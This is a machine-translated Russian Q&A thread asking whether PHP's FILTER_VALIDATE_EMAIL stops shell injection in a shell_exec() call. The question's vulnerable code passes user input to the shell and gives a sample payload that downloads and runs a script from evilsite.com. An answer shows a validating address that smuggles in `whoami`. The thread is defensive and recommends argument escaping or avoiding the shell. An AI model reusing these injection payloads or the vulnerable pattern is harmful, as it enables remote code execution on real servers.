Достаточно ли FILTER_VALIDATE_EMAIL прекратить инъекцию оболочки?

Поэтому я планирую использовать shell_exec() для обработки сценария php, который отправляет электронное письмо.

Все это отлично работает, но я просто немного обеспокоен последствиями безопасности только для использования FILTER_VALIDATE_EMAIL чтобы гарантировать, что инъекция не может произойти.

Так, например, я буду использовать что-то похожее на это:

 $email=$_POST['email']; if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo 'Nope ...'; } else { shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &); } 

Таким образом, без проверки, я мог бы отправить свою электронную почту как-то вроде:

 '; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; ' 

и весь ад мог вырваться …

Является ли это доказательством 100% инъекции (что мы знаем) или есть что-то еще, что я должен добавить?

Related of "Достаточно ли FILTER_VALIDATE_EMAIL прекратить инъекцию оболочки?"

Реализация FILTER_VALIDATE_EMAIL основана на проверке адресов электронной почты Майкла Раштона , которая проверяет входные данные с использованием RFC 5321 , то есть правила производства почтовых ящиков .

Эти адреса электронной почты более обширны, чем те, которые используются на практике. Например, RFC 5321 разрешает цитируемые строки в Local-part, например, «…" "…"@example.com .

Это позволяет вводить произвольные команды, например:

 "'`whoami`'"@example.com 

Это закончится в вашей командной строке как:

 /usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null & 

Полученное значение параметра sendmail будет результатом цитирования whoami , например, "markus"@example.com .

Вы видите, что FILTER_VALIDATE_EMAIL просто не подходит для проверки аргументов оболочки, поскольку это не должно было быть.

Используйте функции, предназначенные для экранирования аргументов оболочки, а не escapeshellarg для экранирования одиночных аргументов или escapeshellcmd для произвольных аргументов.

Как правило, вам следует избегать команд оболочки, если вы можете добиться того же со встроенными функциями PHP, потому что даже escapeshellarg не свободен от ошибок .

Является ли это доказательством 100% инъекции (что мы знаем) или есть что-то еще, что я должен добавить?

Тот же вопрос был задан в отношении баз данных: FILTER_VALIDATE_EMAIL делает строку безопасной для вставки в базу данных?

Если filter_var($var, FILTER_VALIDATE_EMAIL) небезопасен для баз данных, он, вероятно, недостаточно безопасен для командной строки.

Если вам нужно было избежать строки для использования в оболочке, используйте escapeshellarg() или escapeshellcmd() как в ответах на Filter var для вызова shellscript с системой на php . Обязательно прочтите документы API для тех, кто находится на PHP-сайте.

Но сначала вам нужно провести некоторое исследование OWASP, чтобы узнать о лучших практиках безопасности приложений.

Избегание и любые другие контрмеры неэффективны, существует множество векторов для обхода каждого из них; не верьте тому, что вам рассказывают начинающие разработчики.

Вы можете вообще избежать этой проблемы, написав электронное письмо во временном файле, а затем проинструктируйте ваше приложение для sendemail в файл читать (если возможно).

Или, если он доступен с вашей конфигурацией хостинга, вы можете использовать метод mail() PHP – см. Как отправить электронное письмо с помощью PHP?

Тем не менее, продолжайте придерживаться соображений безопасности. Почта PHP (): Каковы потенциальные проблемы, на которые нужно обратить внимание?